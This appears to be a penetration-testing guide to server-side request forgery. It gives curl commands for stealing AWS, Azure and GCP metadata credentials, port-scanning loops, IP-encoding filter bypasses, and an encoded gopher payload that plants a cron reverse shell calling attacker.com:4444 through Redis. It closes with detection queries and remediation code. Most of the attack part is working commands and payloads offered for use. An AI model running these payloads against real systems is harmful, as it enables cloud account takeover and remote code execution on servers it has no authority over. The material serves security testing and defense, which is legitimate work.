
Server-Side Request Forgery (SSRF)
Exploiting SSRF for cloud metadata credentials, internal port scanning and Redis via gopher, with filter bypasses and blind SSRF over out-of-band callbacks.
Introduction
Server-side request forgery (SSRF) uses the application server as a proxy into its own network. When the application takes a URL from the user and fetches it server-side (webhooks, URL previews, PDF generation, image fetching, API proxies), you can point that request at things the server can reach and you cannot: cloud metadata services, internal databases, admin panels, RFC 1918 hosts behind the firewall.
In cloud-hosted applications the prize is 169.254.169.254. AWS IMDSv1 needs no authentication and returns the instance role's IAM credentials for a single GET request. Those credentials work with the AWS CLI from anywhere, and from there you can reach whatever the role can: S3, SSM, Secrets Manager. Azure and GCP have equivalent endpoints. A single SSRF in an over-privileged EC2 workload can mean the whole AWS account.
Blind SSRF, where you never see the response, is still useful. Out-of-band DNS or HTTP callbacks prove the server makes the request, and response timing tells open ports from closed ones on internal hosts.
Authorization required
Test only systems you own or have written permission to test. Pulling live cloud credentials from a metadata endpoint is a big step even inside scope, and many bug bounty programs have specific rules about it. Read them first.
Impact
- Steal cloud credentials: AWS IMDSv1 returns short-lived IAM role credentials without authentication, and GCP and Azure have equivalents
- Scan RFC 1918 hosts and ports the application server can reach, from inside the perimeter
- Read data from internal services with no public exposure: Redis keyspaces, Elasticsearch indexes, internal APIs
- Get command execution by sending raw TCP payloads to Redis, Memcached or SMTP through
gopher:// - Reach internal Jenkins, the Kubernetes API server or cloud metadata for credentials to move further
- Get into internal admin panels that trust requests from
127.0.0.1or internal ranges - Exhaust the server's connection pool by pointing it at slow or unresponsive hosts
Technical details
Identify SSRF entry points
Any parameter that takes a URL or hostname is a candidate. Typical ones:
GET /fetch?url=https://example.com
POST /webhook/test {"callback_url": "https://..."}
GET /render?src=https://example.com/img.png
POST /convert/pdf {"page": "https://..."}
GET /proxy?target=api.internal.com&path=/usersHeaders are also in scope: X-Forwarded-Host, X-Original-URL, Referer, custom headers processed by WAFs or load balancers. Check import/include directives in XML parsers (XXE-to-SSRF) and href in SVG files processed server-side.
Submit a Burp Collaborator or interactsh URL first and wait for the DNS or HTTP callback before trying internal targets.
Exploit AWS IMDSv1 metadata
The most common high-severity SSRF finding. IMDSv1 needs no token header.
# List IAM roles attached to the instance
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Output: my-ec2-role
# Retrieve temporary credentials
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"{
"Code": "Success",
"LastUpdated": "2026-07-28T09:15:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoDYXdzEJr...",
"Expiration": "2026-07-28T15:15:00Z"
}export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoDYXdzEJr...
# Enumerate what this role can do
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name my-ec2-role
aws s3 ls
aws secretsmanager list-secretsOther high-value IMDSv1 paths:
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/user-data # Often contains secrets/bootstrap scripts
http://169.254.169.254/latest/meta-data/network/interfaces/macs/Azure and GCP metadata
# Requires Metadata: true header: verify if the app forwards it or add via parameter injection
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Managed identity access token (equivalent to IAM role creds)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"# GCP uses a hostname alias resolvable from within the VM
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Enumerate all metadata
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/?recursive=true"Note: GCP and Azure require custom request headers (Metadata-Flavor: Google, Metadata: true). If you cannot set headers through the SSRF, these endpoints are out of reach unless the application forwards your headers. A redirect does not help here, since the client will not add the header on its own.
Internal port scanning
Response time and content tell open ports from closed or filtered ones. Closed TCP ports return Connection refused quickly; filtered ports time out; open ports may return banners or HTTP responses.
# Use Burp Intruder or ffuf to iterate ports
# Target: internal Elasticsearch on default port
for port in 9200 9300 6379 5432 3306 27017 8080 8443; do
curl -s "https://target.com/fetch?url=http://127.0.0.1:${port}" -o /dev/null -w "%{time_total} %{http_code}\n"
doneffuf -w /usr/share/seclists/Fuzzing/ports-top-1000.txt \
-u "https://target.com/proxy?url=http://127.0.0.1:FUZZ" \
-mc all \
-fs 0 \
-t 50Common internal services to target: Redis (6379), Elasticsearch (9200), Consul (8500), Kubernetes API (6443/8443), etcd (2379), internal HTTP admin panels (8080/8081/9090), Jenkins (8080), Grafana (3000).
Redis exploitation via Gopher scheme
The gopher:// URI scheme sends raw bytes over TCP. Redis has no password by default, and protected-mode does not apply to connections from localhost. You can write files to disk, for example a cron job or an SSH key.
# Write a webshell via Redis CONFIG SET dir + dbfilename + cron
# Raw Redis commands (RESP protocol):
# FLUSHALL
# SET 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
# CONFIG SET dir /var/spool/cron/
# CONFIG SET dbfilename root
# BGSAVE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%246%0D%0ABGSAVE%0D%0AUse Gopherus to generate these payloads without manual URL encoding:
python3 gopherus.py --exploit redis
# Select: RCE via cron
# Enter reverse shell IP and port
# Copy the generated gopher:// URL into the SSRF parameterFilter bypass techniques
Applications often try to block SSRF by checking whether the URL resolves to an internal IP. Most of those checks are easy to get past.
# Dotted decimal → octal
http://0251.0254.0251.0254/ # 169.254.169.254 in octal
# Dotted decimal → hex
http://0xa9fea9fe/ # 169.254.169.254 in hex
http://0xa9.0xfe.0xa9.0xfe/
# Decimal (no dots)
http://2852039166/ # 169.254.169.254 as uint32
# IPv6 representations
http://[::ffff:169.254.169.254]/
http://[::ffff:a9fe:a9fe]/
# Loopback variants
http://0.0.0.0/ # Maps to 127.0.0.1 on Linux
http://[::]/
http://[::1]/
# URL-encoded @ to confuse host parser
http://attacker.com@127.0.0.1/
http://127.0.0.1#attacker.com
# DNS rebinding
# Point your domain to 1.2.3.4 initially (passes filter check)
# After TTL expires, re-point to 169.254.169.254
# Time the SSRF request to hit after rebindfile:///etc/passwd
dict://127.0.0.1:6379/info
sftp://attacker.com:11111/
ldap://127.0.0.1:389/When the allowlist only checks the first URL, an open redirect on an allowed domain does the rest:
https://target.com/fetch?url=https://trusted-cdn.com/redirect?to=http://169.254.169.254/Attack tools
Burp Suite Pro covers both finding and exploiting SSRF.
Detection with Collaborator:
- Send a request with a URL parameter to Burp Repeater
- Replace the URL value with a Burp Collaborator payload:
https://xyz.oastify.com - Send the request and check Collaborator for DNS/HTTP callbacks
- Confirm out-of-band interaction before attempting internal targets
Intruder for port scanning:
Target: https://app.target.com/fetch?url=http://127.0.0.1:§PORT§/
Payload type: Numbers (1–65535, step 1)
Grep match: "refused" / "timeout" to separate open from closedThe Collaborator Everywhere extension adds Collaborator payloads to headers such as Referer, X-Forwarded-For and Contact on requests passing through the proxy. Leave it on while you browse the target to catch SSRF in header processing.
A Match and Replace rule for testing AWS metadata:
Replace parameter value with: http://169.254.169.254/latest/meta-data/Detection
SSRF is harder to detect at the network layer than most injection classes because the malicious request originates from a trusted internal host.
Server-side logs to monitor:
| Log Source | What to Look For |
|---|---|
| Application logs | Requests with url=, src=, callback= params pointing to RFC1918 or 169.254.x.x |
| AWS CloudTrail | API calls made with an instance role session (the session name is the instance ID) from source IPs that are not that instance. IMDS requests themselves are not logged |
| VPC Flow Logs | EC2 instances making outbound connections to 169.254.169.254 from application ports |
| WAF logs | Blocked requests containing hex/octal IP encodings or gopher:// schemes |
| DNS logs | Queries for metadata.google.internal or rapid succession of internal hostname queries |
Splunk query:
index=webapp_logs
| regex url="(169\.254\.169\.254|metadata\.google\.internal|169\.254\.169\.254)"
| stats count by src_ip, url, user_agent
| where count > 1AWS GuardDuty findings that point to SSRF impact:
| Finding | Meaning |
|---|---|
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS | Instance credentials used from outside AWS |
Discovery:IAMUser/AnomalousBehavior | Unusual API calls with role credentials |
A canary credential helps too: store one in SSM or Secrets Manager that is never legitimately accessed. An alert on any access to that credential indicates credential theft, potentially via SSRF.
Remediation
Network-level controls first:
- Stop the application from reaching
169.254.169.254. Security groups and NACLs do not apply to instance metadata traffic, so use a host firewall rule (for example aniptablesowner match on the application user), require IMDSv2 with a hop limit of 1 for containers, or turn the metadata service off on instances that do not need it - Filter egress so application servers reach only the destinations they need, not the whole internet or every internal host
Application-level controls:
import ipaddress
import socket
from urllib.parse import urlparse
ALLOWED_SCHEMES = {"https"}
ALLOWED_HOSTS = {"api.trusted.com", "cdn.trusted.com"}
def validate_url(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
if parsed.hostname not in ALLOWED_HOSTS:
return False
# Resolve and check for private IPs
try:
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except (socket.gaierror, ValueError):
return False
return True- Require IMDSv2 on every EC2 instance. IMDSv2 needs a PUT request with a custom header to get a session token before any GET works, and a typical SSRF can only send GETs:
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled{
"MetadataOptions": {
"HttpTokens": "required",
"HttpEndpoint": "enabled",
"HttpPutResponseHopLimit": 1
}
}- Turn off URI schemes you do not need in the HTTP client (
file://,gopher://,dict://,sftp://). Most clients can restrict schemes - Resolve the hostname once, check the resolved IP, then connect to that IP. Checking and connecting with separate lookups leaves room for DNS rebinding
- Use a dedicated egress proxy for all outbound requests from backend services; the proxy enforces allowlists centrally
References
MITRE ATT&CK techniques
- T1090.002 - Proxy: External Proxy
- T1552.005 - Unsecured Credentials: Cloud Instance Metadata API
- T1078.004 - Valid Accounts: Cloud Accounts
Tools documentation
- ssrfmap - Automated SSRF Fuzzer
- interactsh - Out-of-Band Interaction Server
- Gopherus - Gopher Payload Generator
- Burp Suite Collaborator Documentation
- AWS IMDSv2 Migration Guide
- OWASP SSRF Prevention Cheat Sheet
Next steps
Host Header Poisoning
How applications that trust the HTTP Host header end up with poisoned password reset links, poisoned caches, SSRF and access control bypasses.
SQL injection
Finding and exploiting SQL injection: in-band, blind and out-of-band techniques, per-database payloads, WAF bypasses, sqlmap and fixes.
Insecure Deserialization
Exploiting deserialization of untrusted data in Java, PHP, Python, .NET and Node.js, from spotting serialized blobs to gadget chains and fixes.
Authentication Bypass
Ways past a login page, from credential attacks and logic flaws to session, JWT, OAuth, MFA and password reset bugs.
SQL Injection: Attack Guide
Finding and exploiting SQL injection: in-band, blind and out-of-band techniques, per-database payloads, WAF bypasses, sqlmap and fixes.
TLS / SSL information leakage
What weak TLS configurations and TLS library bugs leak, how they enable interception and session theft, and how to test and fix them.